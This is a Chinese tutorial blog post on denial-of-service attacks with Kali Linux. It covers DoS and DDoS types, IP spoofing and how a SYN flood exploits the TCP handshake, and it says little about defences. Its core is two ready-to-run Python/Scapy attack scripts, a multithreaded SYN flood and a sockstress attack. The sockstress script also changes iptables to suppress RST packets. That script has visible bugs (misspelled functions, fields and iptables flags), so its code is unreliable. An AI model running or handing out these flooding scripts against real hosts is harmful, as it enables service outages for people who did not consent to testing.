kali linux之拒绝服务

Dos不是DOS(利用程序漏洞或一对一资源耗尽的denial of service拒绝服务)

DDoS分布式拒绝服务(多对一的攻击汇聚资源能力,重点在于量大,属于资源耗尽型)

 

历史

以前:欠缺技术能力,ping死你(难缠)

现在:最强大,最危险的攻击,攻击方式众多(专业化的勒索,贩卖和租用肉鸡已经成为黑产中的重要部分,最终的办法就是拼资源,投资抗D,或者乖乖交保护费)

 

D网络:基于大量的flood耗尽目标网络带宽(ICMP Flood ,UDP Flood)

D协议:攻击协议漏洞发起的拒绝服务,(Syn Flood,Ping of Death,ARP,DNS,802.11,SSL)

D应用:针对应用程序和操作系统漏洞发起的拒绝服务攻击,大量的访问消耗应用(cc代理),通常表现为操作系统正常,网络流量巨大,但是服务停止响应。

 

从攻击者到受害者------网络---》FW--》服务器---》服务应用

 

资源耗尽------

网络:带宽

FW:吞吐量,并发连接

服务器:CPU,内存,I/O

应用:处理请求能力,对OS资源的使用权

 

程序漏洞攻击-----缓冲区溢出,协议,程序逻辑漏洞

 

 

Syn-Flood---常伴随ip欺骗

IP地址欺骗

经常用于dos攻击

根据ip头地址寻址(可以伪造ip源地址)

边界路由器过滤(入站,出站)

受害者可能是源,目的地址

绕过基于地址的验证

压力测试模拟多用户

上层协议(TCP序列号)

 

客户端发送一个包含SYN标志的TCP报文,SYN即同步(Synchronize),同步报文会指明客户端使用的端口以及TCP连接的初始序号

第二步,服务器在收到客户端的SYN报文后,将返回一个SYN+ACK的报文,表示客户端的请求被接受,同时TCP序号被加一,ACK即确认(Acknowledgment)
 
第三步,客户端也返回一个确认报文ACK给服务器端,同样TCP序列号被加一,到此一个TCP连接完成。

以上的连接过程在TCP协议中被称为三次握手(Three-way Handshake)

问题就出在TCP连接的三次握手中,假设一个用户向服务器发送了SYN报文后突然死机或掉线,那么服务器在发出SYN+ACK应答报文后是无法收到客户端的ACK报文的(第三次握手无法完成),这种情况下服务器端一般会再次发送SYN+ACK给客户端,并等待一段时间后丢弃这个未完成的连接,这段时间的长度我们称为SYN Timeout,一般来说这个时间是分钟的数量级(大约为30秒-2分钟);一个用户出现异常导致服务器的一个线程等待1分钟并不是什么很大的问题,但如果有一个恶意的攻击者大量模拟这种情况,服务器端将为了维护一个非常大的半连接列表而消耗非常多的资源----数以万计的半连接,即使是简单的保存并遍历也会消耗非常多的CPU时间和内存,何况还要不断对这个列表中的IP进行SYN+ACK的重试。实际上如果服务器的TCP/IP栈不够强大,最后的结果往往是堆栈溢出崩溃---即使服务器端的系统足够强大,服务器端也将忙于处理攻击者伪造的TCP连接请求而无暇理睬客户的正常请求,此时从正常客户的角度看来,服务器失去响应,服务器端受到了SYN Flood攻击(SYN洪水攻击

 

python实现攻击

#!/usr/bin/python
# -*- coding: utf-8 -*-

from scapy.all import *
from time import sleep
import thread
import random
import logging
logging.getLogger("scapy.runtime").setLevel(logging.ERROR)

if len(sys.argv) != 4:
    print "用法: ./syn_flood.py [IP地址] [端口] [线程数]"
    print "举例: ./syn_flood.py 1.1.1.1 80 20"
    sys.exit()

target = str(sys.argv[1])
port = int(sys.argv[2])
threads = int(sys.argv[3])

print "正在执行 SYN flood 攻击,按 Ctrl+C 停止攻击."
def synflood(target,port):
    while 0 == 0:
        x = random.randint(0,65535)
        send(IP(dst=target)/TCP(dport=port,sport=x),verbose=0)
for x in range(0,threads):
    thread.start_new_thread(synflood, (target,port))

while 0 == 0:
    sleep(1)

 

 

抓包查看

 

 

 

 

 

Sockstress

针对tcp服务的拒绝服务攻击

消耗目标操作系统资源

与攻击目标建立大量的socket链接

完成三次握手,最后的ack包windows为0(客户端不接收数据)

攻击者资源消耗小(cpu,内存,带宽)

异步攻击,单机可对抗高配资源服务器

windows窗口实现的tcp流控

 

防御措施:

直到今天sockstress攻击仍然是一种很有效的Dos攻击方式

由于建立完整的TCP三次握手,因此使用syn cookie防御无效

根本的防御办法是采用白名单,但是不实际

折中对策,限制单位时间内每秒连接超市的TCP连接数

 

python脚本实现:

#!/usr/bin/python
# -*- coding: utf-8 -*-
from scapy.all import *
from time import sleep
import thread
import logging
import os
import signal
import sys
logging.getLogger("scapy.runtime").setLevel(logging.ERROR)

if len(sys.argv) !=4:
    print "用法: ./sock_stress.py [目标IP] [端口] [线程数]"
    print "举例: ./sock_stress.py 10.0.0.5 21 20 ## 请确定呗攻击端口处于开放状态"
    sys.exit()
target = str(sys.argv[1])
dstport = int(sys.argv[2])
threads = int(sys.argv[3])


## 攻击函数
def sockstress(target,dstport):
    while 0==0:
        try:
            x = random.randint(0,65535)
            response = srl(IP(dst=target)/TCP(sport=x,dport=dstport,flags='S'),timeout=1,verbose=0)
            send(IP(dst=target)/ TCP(dsport=dstport,sport=x,window=0,flags='A',ack=(response[TCP].seq + 1))/'\x00\x00',verbose=0)
        except:
            pass


## 停止攻击函数
def shutdown(signal, frame):
    print '正在恢复 iptables 规则'
    os.system('iptable -D OUTPUT -p tcp --tcp-flas RST RST -d ' + target + ' -j DROP')
    sys.exit()


## 添加iptables规则
os.system('iptables -A OUTPUT -p tcp --tcp-flags RST RST -d ' + target + ' -j DROP')
signal.signal(signal.SIGINT, shutdown)


## 多线程攻击
print "\n攻击正在进行...按 Ctrl+C 停止攻击"
for x in range(0,threads):
    thread.start_new_thread(sockstress, (target,dstport))


## 永远执行
while 0==0:
    sleep(1)

 

执行攻击并抓包查看

 

 

 

 

友情链接 http://www.cnblogs.com/klionsec

               http://www.cnblogs.com/l0cm

               http://www.cnblogs.com/Anonyaptxxx

               http://www.feiyusafe.cn

 

posted @ 2019-03-03 21:48  Hydraxx  阅读(1252)  评论(0编辑  收藏  举报